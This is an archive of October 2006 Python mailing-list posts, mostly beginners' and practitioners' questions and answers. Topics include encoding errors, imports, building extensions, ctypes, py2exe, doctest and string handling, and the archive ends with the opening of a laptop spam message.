On Oct 30, 2:27 pm, "Leo Kislov" <Leo.Kis... at gmail.com> wrote:
> Sachin Punjabi wrote:
> > I installed it again but it makes no difference. It still throws me
> > error for LookUp Error: unknown encoding : utf-8.Most likely you're not using the new python, you're still running old
> one.
>
>   -- Leo

I installed the newer version on D drive and it was previously
installed on C drive. Also the command which bjorn asked me to execute
on command line worked very much fine.

Sachin.



From cephire at gmail.com  Fri Oct 27 15:31:44 2006
From: cephire at gmail.com (Joseph)
Date: 27 Oct 2006 12:31:44 -0700
Subject: Import Error
Message-ID: <1161975490.176911.233060@i42g2000cwa.googlegroups.com>

Hi,
I am using Karrigell & Sprite for web development. Sprite is placed in
the main
folder of my app. I got a sub-folder called admin. I am using the below
line to import Sprite from the subfolder.

from ..sprite import Sprite

Most of the time it works. However time to time, it will throw an error
that there is no module called Sprite. I delete the .pyc file, call a
page in the main folder, then it will work.

Any help how I can resolve it? 

Thank you in advance,
Joseph



From cologuns at xs4all.nl  Wed Oct 11 08:43:23 2006
From: cologuns at xs4all.nl (Martijn de Munnik)
Date: Wed, 11 Oct 2006 14:43:23 +0200 (CEST)
Subject: Compile python extension
Message-ID: <23338.84.31.232.161.1160570603.squirrel@webmail.xs4all.nl>

Hi,

I'm trying to build/install pysqlite on a Solaris 10 platform. I've got
Sun Studio 11 on a AMD 64 platform and got this error. I'm a python newbie
and just want to install trac. I've got ActiveState python:

ActivePython 2.4.3 Build 11 (ActiveState Software Inc.) based on
Python 2.4.3 (#1, Apr  3 2006, 18:07:58) [C] on sunos5
Type "help", "copyright", "credits" or "license" for more information.

And sqlite build with the following options ./configure
--prefix=/opt/64/sqlite --enable-threadsafe --disable-tcl

my environment looks like this:
CC=cc
CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil
-xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
CXX=CC
CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all
-xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
LDFLAGS=-xtarget=opteron -xarch=amd64

and setyp.cfg looks like this
[build_ext]
define=
include_dirs=/opt/sqlite/include
library_dirs=/opt/sqlite/lib
libraries=sqlite3

/opt/sqlite is a symlink to /opt/64/sqlite

and finally the build command:

% python setup.py build
running build
running build_py
running build_ext
building 'pysqlite2._sqlite' extension
Traceback (most recent call last):
  File "setup.py", line 159, in ?
    main()
  File "setup.py", line 156, in main
    setup(**get_setup_args())
  File "/opt/python/lib/python2.4/distutils/core.py", line 149, in setup
    dist.run_commands()
  File "/opt/python/lib/python2.4/distutils/dist.py", line 946, in
run_commands
    self.run_command(cmd)
  File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in
run_command
    cmd_obj.run()
  File "/opt/python/lib/python2.4/distutils/command/build.py", line 112,
in run
    self.run_command(cmd_name)
  File "/opt/python/lib/python2.4/distutils/cmd.py", line 333, in run_command
    self.distribution.run_command(command)
  File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in
run_command
    cmd_obj.run()
  File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line
279, in run
    self.build_extensions()
  File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line
405, in build_extensions
    self.build_extension(ext)
  File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line
470, in build_extension
    depends=ext.depends)
  File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 699, in
compile
    self._compile(obj, src, ext, cc_args, extra_postargs, pp_opts)
  File "/opt/python/lib/python2.4/distutils/unixccompiler.py", line 112,
in _compile
    self.spawn(self.compiler_so + cc_args + [src, '-o', obj] +
  File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 1040, in
spawn
    spawn (cmd, dry_run=self.dry_run)
  File "/opt/python/lib/python2.4/distutils/spawn.py", line 37, in spawn
    _spawn_posix(cmd, search_path, dry_run=dry_run)
  File "/opt/python/lib/python2.4/distutils/spawn.py", line 122, in
_spawn_posix
    log.info(string.join(cmd, ' '))
  File "/opt/python/lib/python2.4/distutils/log.py", line 33, in info
    self._log(INFO, msg, args)
  File "/opt/python/lib/python2.4/distutils/log.py", line 23, in _log
    print msg % args
TypeError: not enough arguments for format string


I've got the same issues with mysql and postgresql extensions, any ideas???

BTW anybody succesfully compiled python on Solaris using Sun Studio?

thanks,

Martijn




From edreamleo at charter.net  Wed Oct  4 15:52:31 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 14:52:31 -0500
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>	<mailman.1265.1159970009.10491.python-list@python.org>	<WQPUg.8$Cr3.6@newsfe03.lga><4oi0f3FehgnuU1@uni-berlin.de>
	<k3QUg.11$Cr3.3@newsfe03.lga>
	<mailman.1282.1159989094.10491.python-list@python.org>
Message-ID: <6iUUg.91$iP5.21@newsfe07.lga>

> the encoding isn't *in* the XML file, it's an artifact of the 
> serialization model used for a specific XML infoset.  the XML
> data is pure Unicode.

Sorry, but no.  The *file* is what I am talking about, and the way it is 
encoded does, in fact, really make a difference to some users.  They have a 
right, I think, to expect that the original encoding gets preserved when the 
file is rewritten.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From johnjsal at NOSPAMgmail.com  Fri Oct 20 13:25:11 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 17:25:11 GMT
Subject: proper format for this database table
In-Reply-To: <slrnejhrf5.ns.horpner@FIAD06.norwich.edu>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<4537e232$0$3280$426a34cc@news.free.fr>
	<At5_g.122$1n3.3067@news.tufts.edu>
	<slrnejhrf5.ns.horpner@FIAD06.norwich.edu>
Message-ID: <XD7_g.125$1n3.3420@news.tufts.edu>

Neil Cerutti wrote:
> On 2006-10-20, John Salerno <johnjsal at NOSPAMgmail.com> wrote:
>> Bruno Desthuilliers wrote:
>>> John Salerno a ?crit :
>>>> Hi guys. I was wondering if someone could suggest some possible 
>>>> structures for an "Education" table in a database. 
>>> Wrong newsgroup, then. comp.database.* is right next door...
>> I know, I'm sorry. It's just that this newsgroup server doesn't
>> have any database ngs on it. :(
> 
> Try Google Groups for these annoying cases.
> 

True, didn't think of that. (Probably a good idea to make up a fake 
account though, since GG posts your email address.)


From pavlovevidence at gmail.com  Fri Oct 20 16:31:02 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 20 Oct 2006 13:31:02 -0700
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <1161361589.757562.243030@h48g2000cwc.googlegroups.com>
References: <mailman.760.1161275432.11739.python-list@python.org>
	<1161358037.736440.24010@h48g2000cwc.googlegroups.com>
	<1161361589.757562.243030@h48g2000cwc.googlegroups.com>
Message-ID: <1161376262.161604.283620@m7g2000cwm.googlegroups.com>


Istvan Albert wrote:
> Carl Banks wrote:
>
> > Say you're using a function from a third-party library that finds the
> > first character in a string that meets some requirement.  You need to
> > find the last such character.
>
> You seem to imply that invoking a function on a reversed input is
> somehow a generic solution to the problem (finding first vs finding
> last) that you describe above above.

Nope, I wasn't.

> That would be the exception rather than the rule.

Oh, don't be such a Debbie Downer.  The rule is, it works as long as
the character you're looking for isn't relative to any other character
in the string.

(Geez, I was just giving a counterexample.)


Carl Banks



From nogradi at gmail.com  Mon Oct 30 04:15:23 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Mon, 30 Oct 2006 10:15:23 +0100
Subject: lossless transformation of jpeg images
In-Reply-To: <200610291845.06389.inq1ltd@verizon.net>
References: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com>
	<5f56302b0610291217r21425ae9vcaba963dd58c10f4@mail.gmail.com>
	<200610291845.06389.inq1ltd@verizon.net>
Message-ID: <5f56302b0610300115y31bd9074rbdaf4bc37e80f874@mail.gmail.com>

> > > Last time I checked PIL was not able to apply
> > > lossless transformations to jpeg images so
> > > I've created Python bindings (or is it a
> > > wrapper? I never knew the difference :)) for
> > > the jpegtran utility of the Independent Jpeg
> > > Group.
>
>
> Why not use Tkinter for jpeg ??

I'm not sure what you mean. Tkinter offers a way to apply for instance
lossless rotation to an image?

BTW, I have a question to PIL developers: is there a reason why
functionality similar to jpegtran hasn't been built into PIL? I very
much like PIL and was slightly surprised that lossless rotations are
not in it, since everything that needs to be done can be found on
www.ijg.org. Or there are copyright/legal issues? Or the C code there
only works on linux and would be difficult to create a cross-platform
binding? Or some other reason which I don't see?

I'm asking because I would like to avoid possible difficulties (which
I don't see yet but maybe someone who has thought about it before for
example PIL developers do) while I try to create bindings for all jpeg
related stuff that can be found on www.ijg.org.

Thanks,
Daniel


From oliver.andrich at gmail.com  Tue Oct  3 08:09:35 2006
From: oliver.andrich at gmail.com (Oliver Andrich)
Date: Tue, 3 Oct 2006 14:09:35 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <6f7b52d0610030509oc76acbj8cbcbae46b77c739@mail.gmail.com>

Hi,

On 10/3/06, Giovanni Bajo <noway at sorry.com> wrote:
> I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation, recommends
> using a non open source tracker (called JIRA - never heard before of course)
> for Python itself.
>
> Does this smell "Bitkeeper fiasco" to anyone else than me?

No, this doesn't smell like the BK fiasco, it is just the decision to
use a certain tool. But it is easy to change or influence this
recommondation. Step up as an admin for Roundup. :)

Best regards,
Oliver
-- 
Oliver Andrich <oliver.andrich at gmail.com> --- http://roughbook.de/


From arkanes at gmail.com  Wed Oct  4 14:25:41 2006
From: arkanes at gmail.com (Chris Mellon)
Date: Wed, 4 Oct 2006 13:25:41 -0500
Subject: Having trouble using CTypes with a custom function
In-Reply-To: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>
References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com>
Message-ID: <4866bea60610041125x10ca0ae5m3eef340aa961bbb3@mail.gmail.com>

On 4 Oct 2006 11:18:16 -0700, tkondal at gmail.com <tkondal at gmail.com> wrote:
> Hi all.
>
> I just started looking at Python's ctypes lib and I am having trouble
> using it for a function.
>
> For starters, here's my Python code:
>
>
> from ctypes import*;
> myStringDLL= cdll.LoadLibrary("myStringDLL.dll");
>
> GetMyString = getattr(myStringDLL,
> "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z")
>
> strString =  create_string_buffer('\000' * 256);
> GetMyString.restype = c_int;
> GetMyString.argtypes = [c_char_p];
>
> bResult = GetMyString (strSerialNumber);
>
> print (bResult);
> print (strSerialNumber);
>
> #C++ Prototype of the function I want to call:
> #bool GetMyString (string& stringParam) ;
>
>
>
>
> I do not have access to the source code of this function so don't ask
> me to try different things in C++.  This DLL is working fine.
>
> The problem that I have is that print (strSerialNumber) does not seem
> to print the correct string.  What I get is some garbage value of
> unprintable characters.  Am I using this the correct way?
>




This function is expecting a C++ std::string object, not a regular C
style string. You'll need a wrapper function, and one which uses the
same compiler and STL as the C++ source.

> Thanks.
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 08:39:18 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 12:39:18 GMT
Subject: Python component model
In-Reply-To: <1160467516.602655.169920@c28g2000cwb.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
Message-ID: <WvMWg.12223$UG4.9358@newsread2.news.pas.earthlink.net>

Nick Vatamaniuc wrote:
> Edward Diener No Spam wrote:
>> Michael wrote:
> 
> Python does not _need_ a component model just as you don't _need_ a RAD
> IDE tool to write Python code. The reason for having a component model
> or a RAD IDE tool is to avoid writing a lot of boiler plate code.
> Python is terse enough that boiler plate code is not needed, just type
> what you need into an editor. It seems that you talk about Python but
> you are still thinking in Java or C++.

A RAD IDE tool to hook up components into an application or library ( 
module in Python ) has nothing to do with terseness and everything to do 
with ease of programming. All you are saying is that you don't have a 
need for this, but perhaps others do. I don't mind others saying they 
have no need or seeing no benefit. But if you have ever used a visual 
design-time environment for creating applications you might feel 
differently.

"Thinking in Java or C++" as opposed to Python does not mean anything to 
me as a general statement. I am well aware of the difference between 
statically and dynamically typed languages but why this should have 
anything to do with RAD programming is beyond me. Do you care to 
elucidate this distinction ?

> 
> At the same time one could claim that Python already has certain
> policies that makes it seem as if it has a component model. Take a look
> at the "magic methods". For example if a class has a __len__ method, it
> is possible to use the len() function on an instance of that class. If
> a class has the  __getitem__ then indexing can be used on that class's
> insance. Then Python has properties (see
> http://www.python.org/doc/2.2.3/whatsnew/sect-rellinks.html).  Just by
> inspecting the object one can tell a great deal about them (even read
> the documentation if needed, by using the __doc__ attribute).   What
> other standards would you propose for the core language?

Python has great facilities for a component model, much better than the 
other languages I use regularly ( C++, C#, Java ). I am not arguing 
against that. A component model for RAD tools allows the tool to expose 
properties and events to the end-user at design time so that at run-time 
the properties and events are automatically setup once an object is 
instantiated. The essence of a component model for RAD programming is 
how one specifies properties and events for a class to be manipulated by 
the RAD tool at design time. Another obvious part of the component model 
is how one specifies that the properties and events one sets up at 
design-time are serialized so that at run-time they are properly set. A 
final element of a component model is the ability of a component to 
interact with the environment in which it exists at design time, through 
property editors, and at run-time, the latter being obviously more 
important for visual controls than non-visual components.


From shejo284 at gmail.com  Tue Oct  3 10:44:39 2006
From: shejo284 at gmail.com (Sheldon)
Date: 3 Oct 2006 07:44:39 -0700
Subject: Resuming a program's execution after correcting error
In-Reply-To: <1159469340.286309.74130@i42g2000cwa.googlegroups.com>
References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com>
	<efgjgo$pbm$1@news.albasani.net>
	<1159469340.286309.74130@i42g2000cwa.googlegroups.com>
Message-ID: <1159886679.750791.164800@i3g2000cwc.googlegroups.com>


MonkeeSage wrote:
> Georg Brandl wrote:
> > As I said before, this can be done by finding out where the error is raised,
> > what the cause is and by inserting an appropriate try-except-statement in
> > the code.
>
> I could be mistaken, but I *think* the OP is asking how to re-enter the
> stack at the same point as the exception exited from and continue with
> the execution as if the exception never happened. AFAIK, that isn't
> possible; however, given that he has a file to work from that indicates
> a portion of the state at the time of the exception, I think he may be
> able simulate that kind of functionality by reading in the file on
> exception and then returning a call to the function where the exception
> occured with the data from the file. Something like this mockup:
>
> def faulty_function(a, b, c=None):
>   if not c:
>     c = 0
>   try:
>     # modify c, write c to file...
>     # oops hit an exception
>     c += a / b
>   except:
>     # read from the file here
>     # c = ...
>     # and fix the error
>     b += 1
>     return faulty_function(a, b, c)
>   return c
>
> print faulty_function(2, 0) # => 2
>
> Of course, it's probably much better to just fix the code and avoid the
> exception in the first place. ;)
>
> Regards,
> Jordan

Thanks Jordon,
I think you understood my problem best. I know now that this is not
possible but I would like to create an exception that saves all the
current variables when there is an error. I think pickle is the answer
but I never got it to work. My program is very large and it is being
modified often.
Any advice on how to save the variables.

/Sheldon



From johnjsal at NOSPAMgmail.com  Thu Oct  5 16:15:49 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 05 Oct 2006 20:15:49 GMT
Subject: How do I put % in a format sting?
In-Reply-To: <mailman.1381.1160078805.10491.python-list@python.org>
References: <mailman.1381.1160078805.10491.python-list@python.org>
Message-ID: <VJdVg.78$1n3.1112@news.tufts.edu>

Gregory Pi?ero wrote:
> How do I put % in a format sting?
> 
> For example I want this to work:
> 
>>>> sql_template="""SELECT ENTRY FROM LOOKUP WHERE FIELDNAME LIKE '%s%V'"""
>>>> sql_template % 'userdef103'
> Traceback (most recent call last):
>  File "<interactive input>", line 1, in ?
> TypeError: not enough arguments for format string
> 
> 
> 

Put it immediately after the string:

sql_template="""SELECT ENTRY FROM LOOKUP WHERE FIELDNAME LIKE '%s%V'""" 
% 'userdef103'

But I think SQL has other recommended methods. At least with SQLite, it 
is recommended you not use Python's %s formatter but instead the "?" 
formatter.


From fredrik at pythonware.com  Fri Oct 20 10:17:09 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 16:17:09 +0200
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu><7iNZg.117$1n3.3352@news.tufts.edu><eh89n4$r5q$1@solaris.cc.vt.edu><pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au><pan.2006.10.20.07.29.24.509195@gmail.com>
	<1161352970.123247.322140@i42g2000cwa.googlegroups.com>
Message-ID: <ehalp5$oia$1@sea.gmane.org>

Tim N. van der Leeuw wrote:

> In practice, the short-term fix would be to add a __str__ method to the
> 'reversed' object

so what should

    str(reversed(range(10)))

do ?

> and perhaps to all iterators too (so that trying to build a string from an
> iterator would do the obvious thing).

all iterators?  who's going to do that?

</F> 





From onurb at xiludom.gro  Fri Oct 27 11:33:10 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 27 Oct 2006 17:33:10 +0200
Subject: conditional computation
In-Reply-To: <eht3h9$2den$1@ulysses.news.tiscali.de>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<mailman.1292.1161892930.11739.python-list@python.org>
	<ehr562$251c$1@ulysses.news.tiscali.de>
	<4541369b$0$2875$426a74cc@news.free.fr>
	<ehsmrt$2b8i$1@ulysses.news.tiscali.de>
	<4541f4d7$0$7249$426a74cc@news.free.fr>
	<eht3h9$2den$1@ulysses.news.tiscali.de>
Message-ID: <454226b7$0$23601$426a74cc@news.free.fr>

robert wrote:
> Bruno Desthuilliers wrote:
>> robert wrote:
>>> Bruno Desthuilliers wrote:
>>>> robert a ?crit :
>>>> (snip)
>>>>> class MemoCache(dict): # cache expensive Objects during a session
>>>>> (memory only)
>>>>>    def memo(self, k, f):
>>>>>        try: return self[k]
>>>>>        except KeyError:            #<--------- was error          
>>>>>             return self.setdefault(k, f())
>>>>> cache=MemoCache()
>>>>> ...
>>>>>
>>>>> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr )
>>>>>
>>>> And how do you get back the cached value without rewriting both
>>>> complex-key-expr *and* expensive-calc-expr ? Or did I missed the
>>>> point ?
>>> the complex-key-expr is written only once in the code
>>
>> How do you get something back from the cache then ?
>>
>>> expensive-calc-expr is  written only once in code 
>>
>> Same problem here...  I fail to understand how you intend to use this
>> "cache".
> 
> the first time, "self.setdefault(k, f())" executes the lambda ("f()"),
(snip)
Robert, that's not the point. I do have enough Python knowledge to
understand this (totally trivial) code !-)

What I don't understand is how this code is supposed to save you from
having to actually write both complex-key-expr and
expensive-calc-expression more than once. You need them both each time
you access the cache - whether the result of expensive-calc-expression
has already been cached or not.

Now this seems so obvious that I guess I failed to understand some point
in your original spec (emphasis is mine):
"""
I want to use a computation cache scheme like


    o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr

frequently and elegantly *without writing complex-key-expr or
expensive-calc-expr twice*.
"""


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From simon at brunningonline.net  Mon Oct 16 14:36:30 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Mon, 16 Oct 2006 19:36:30 +0100
Subject: Need a strange sort method...
In-Reply-To: <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com>
Message-ID: <8c7f10c60610161136h59d10461gb4f4927b4728f693@mail.gmail.com>

On 10/16/06, Simon Brunning <simon at brunningonline.net> wrote:
> >>> a = [1,2,3,4,5,6,7,8,9,10]
> >>> a.sort(key=lambda item: (((item-1) %3), item))
> >>> a
> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]

Re-reading the OP's post, perhaps sorting isn't what's required:

>>> a[::3] + a[1::3] + a[2::3]
[1, 4, 7, 10, 2, 5, 8, 3, 6, 9]

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From python at hope.cz  Wed Oct 18 11:24:27 2006
From: python at hope.cz (Lad)
Date: 18 Oct 2006 08:24:27 -0700
Subject: Dictionaries
Message-ID: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>

How can I add two dictionaries into one?
E.g.
a={'a:1}
b={'b':2}

I need

the result {'a':1,'b':2}.

Is it possible?

Thank you
L.



From fredrik at pythonware.com  Tue Oct 10 09:52:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 15:52:49 +0200
Subject: Using the imp module
References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com>
Message-ID: <egg8jh$usp$1@sea.gmane.org>

Claus Tondering wrote:

>I understand that you can use the imp module to programmatically mimic
> the "import xyzzy" statement.

"imp" sounds like overkill for that purpose; the usual way is do do that is to
explicitly call __import__:

    xyzzy = __import__("xyzzy")

> But is there any way to programmatically mimic the "from xyzzy import
> *" statment?

you can use getattr() to pick out the objects your need.  or you could do
something like:

    globals().update(vars(__import__("xyzzy")))

</F> 





From simon at brunningonline.net  Mon Oct 16 15:22:43 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Mon, 16 Oct 2006 20:22:43 +0100
Subject: string splitting
In-Reply-To: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
Message-ID: <8c7f10c60610161222p743aa070j47e8be82dddc3037@mail.gmail.com>

On 16 Oct 2006 12:12:38 -0700, rdharles at gmail.com <rdharles at gmail.com> wrote:
> Hello,
> I have thousands of files that look something like this:
>
> wisconsin_state.txt
> french_guiana_district.txt
> central_african_republic_province.txt
>
> I need to extract the string between the *last* underscore and the
> extention.
> So based on the files above, I want returned:
> state
> district
> province
>
> My plan was to use .split or .find but I can't figure out how locate
> only the last underscore in the filename.

>>> spam = 'central_african_republic_province.txt'
>>> spam.split('.')[0].rsplit('_', 1)[-1]
'province'

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From steven.bethard at gmail.com  Fri Oct 13 12:41:53 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Fri, 13 Oct 2006 10:41:53 -0600
Subject: Loops Control with Python
In-Reply-To: <i3PXg.27310$Go3.12251@dukeread05>
References: <mailman.446.1160749325.11739.python-list@python.org>
	<1160755760.629942.130200@m73g2000cwd.googlegroups.com>
	<i3PXg.27310$Go3.12251@dukeread05>
Message-ID: <04udnT8kfL1JXLLYnZ2dnUVZ_s2dnZ2d@comcast.com>

hg wrote:
> How about a thread on GOTOs ? ;-)

A thread?  No need!  There's a module:

     http://entrian.com/goto/

;-)

STeVe


From moqtar at gmail.com  Fri Oct 20 00:22:38 2006
From: moqtar at gmail.com (Kirt)
Date: 19 Oct 2006 21:22:38 -0700
Subject: Need help in Py2exe
Message-ID: <1161318158.913494.69770@m7g2000cwm.googlegroups.com>

I have a simple scrips that Parses a XML file and prints its element.

1)Main.py
2)Handler.py
3)test.xml

The scripts works fine from comand prompt.

Now i wanted to convert it to an exe. So i wrote a setup.py scripts as
folows:

#-------------------------Setup.py----------------------------------
from distutils.core import setup
import py2exe

setup(
    name = "Main",
    description = " Parse XML",
    version = "0.1",
    windows = [
        {"script": "main.py",
        "icon_resources": [(1, "xml.ico")]
        }
    ],

    data_files=[("List.xml"),("handler.py")],
)
-------------------------------------------------------------------------------
When i run this as python setup.py py2exe. I get an main.exe file in
dist folder. But when i run the file i get an error --
Traceback (most recent call last):
  File "main.py", line 7, in ?
  File "xml\sax\sax2exts.pyc", line 37, in make_parser
  File "xml\sax\saxexts.pyc", line 77, in make_parser
xml.sax._exceptions.SAXReaderNotAvailable: No parsers found..

I think i am missing something in setup.py file. Can anyone help?



From horpner at yahoo.com  Tue Oct 17 16:10:48 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Tue, 17 Oct 2006 20:10:48 GMT
Subject: making a valid file name...
References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com>
	<mailman.649.1161105427.11739.python-list@python.org>
Message-ID: <cNaZg.6786$5i7.459@newsreading01.news.tds.net>

On 2006-10-17, Edgar Matzinger <edgar at edgar-matzinger.nl> wrote:
> Hi,
>
> On 10/17/2006 06:22:45 PM, SpreadTooThin wrote:
>> valid =
>> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
>> 
>
> not specifying the OS platform, these are not all the
> characters that may occur in a filename: '[]{}-=", etc. And '/'
> is NOT valid.  On a unix platform. And it should be easy to
> scan the filename and check every character against the
> 'valid-string'.

In the interactive fiction world where I come from, a portable
filename is only 8 chars long and matches the regex
[A-Z][A-Z0-9]*, i.e., capital letters and numbers, with no
extension. That way it'll work on old DOS machines and on
Risc-OS. Wait... is there Python for Risc-OS?


-- 
Neil Cerutti

>
> HTH, cu l8r, Edgar.


From bernard.chhun at gmail.com  Fri Oct  6 08:11:11 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 6 Oct 2006 05:11:11 -0700
Subject: extract certain values from file with re
In-Reply-To: <mailman.1438.1160128294.10491.python-list@python.org>
References: <mailman.1438.1160128294.10491.python-list@python.org>
Message-ID: <1160136671.710836.69370@h48g2000cwc.googlegroups.com>

Hi Fabian,
I'm still a youngster in Python but I think I can help with the
"extracting data from the log file" part. As I'm seeing it right now,
the only character separating the numbers below is the space character.
You could try splitting all the lines by that character starting from
the NO Column. The starting point of the split function could easily be
defined by regexes. Using this regex : \s+\d+\s{1,2}[\d\w\.-]*\s+ ... I
was able to extract the 2 first columns of every row. And since the
while document is structured like a table, you could define a
particular index for each of the columns of the split result.

I sincerely hope this can help in any way :)



From bearophileHUGS at lycos.com  Mon Oct  2 17:45:09 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 14:45:09 -0700
Subject: php and python: how to unpickle using PHP?
References: <4521721B.9040002@vtxmail.ch>
	<mailman.1123.1159824627.10491.python-list@python.org>
Message-ID: <1159825509.493262.11490@h48g2000cwc.googlegroups.com>

Ted Zeng:
> I store some test results into a database after I use python
> To pickle them (say, misfiles=['file1','file2'])
> Now I want to display the result on a web page which uses PHP.
> How could the web page unpickle the results and display them?
> Is there a PHP routine that can do unpickle ?

Instead of pickling, maybe you can save the data from python in json
format:
http://www.json.org/
Then you can read it from PHP.

Bye,
bearophile



From p.lavarre at ieee.org  Mon Oct 16 20:12:50 2006
From: p.lavarre at ieee.org (p.lavarre at ieee.org)
Date: 16 Oct 2006 17:12:50 -0700
Subject: doctest quiet again before exit how
Message-ID: <1161043970.812443.252220@m7g2000cwm.googlegroups.com>

Looks like every run of doctest after the first is verbose:

$ python2.5 quiet-once.py
(0, 0)
*** DocTestRunner.merge: '__main__' in both testers; summing outcomes.
(0, 0)
*** DocTestRunner.merge: '__main__' in both testers; summing outcomes.
(0, 0)
$
$ cat quiet-once.py
import doctest
print doctest.testmod()
print doctest.testmod()
print doctest.testmod()
$

How do I ask for another quiet run, before exiting the process?

Adding the arg verbose=False to the testmod call doesn't work.



From scott.daniels at acm.org  Sun Oct  1 14:46:59 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 01 Oct 2006 11:46:59 -0700
Subject: a query on sorting
In-Reply-To: <JCuSg.380$5o5.260@tornado.texas.rr.com>
References: <20060927092030.76520.qmail@web8508.mail.in.yahoo.com>
	<mailman.796.1159357863.10491.python-list@python.org>
	<JCuSg.380$5o5.260@tornado.texas.rr.com>
Message-ID: <45200547$1@nntp0.pdx.net>

Paul McGuire wrote:
>.... In the interests of beating a dead horse into the ground (metaphor-mixing?), 
> I looked at using map to one-line the OP's request, and found an interesting 
> inconsistency.
> 
> I tried using map(reversed, list(enumerate(a))), but got back a list of 
> iterators.  To create the list of tuples, I have to call the tuple 
> constructor on each one, as in:
> 
> map(tuple,map(reversed,list(enumerate(a))))

Doesn't the following read more easily?
     [tuple(reversed(x)) for x in enumerate(a)]

> However, sorted returns a list, not a listsortediterator.  Why the 
> difference in these two builtins?

"sorted" (esp. Timsort) _must_ have the materialized list in memory at
some point in order to sort.  The only alternative would be to provide
a much less efficient heap-based solution that would still need
everything in memory before emitting the first result.  If you always
have to build the list in memory, returning the list gives the recipient
more chances to be efficient.

"reversed" has some great special cases related to "xrange" that can
be accomplished without ever converting the arg to "reversed" to a list.
While "sorted" could be special cased for those cases, the chances of
real useful code containing, "sorted(xrange(a, b, c))" are pretty slim.
If you don't have to build the list in memory, returning a list can make
a program that could be very memory efficient suddenly _much_ less so.

-- 
--Scott David Daniels
scott.daniels at acm.org


From jmpurser at gmail.com  Sat Oct 21 15:03:53 2006
From: jmpurser at gmail.com (John Purser)
Date: Sat, 21 Oct 2006 12:03:53 -0700
Subject: What About Next Laptop Computers?
In-Reply-To: <1161456707.355956.152850@i42g2000cwa.googlegroups.com>
References: <1161456707.355956.152850@i42g2000cwa.googlegroups.com>
Message-ID: <1161457433.5907.0.camel@localhost.localdomain>

On Sat, 2006-10-21 at 11:51 -0700, Joe wrote:
> L International Reveals Plans for High-Tech
> Next-Generation Laptop Computer Systems
> 
> L International Computers Inc. "L" renowned manufacturer of
> high-performance computers and personal/business technologies, revealed
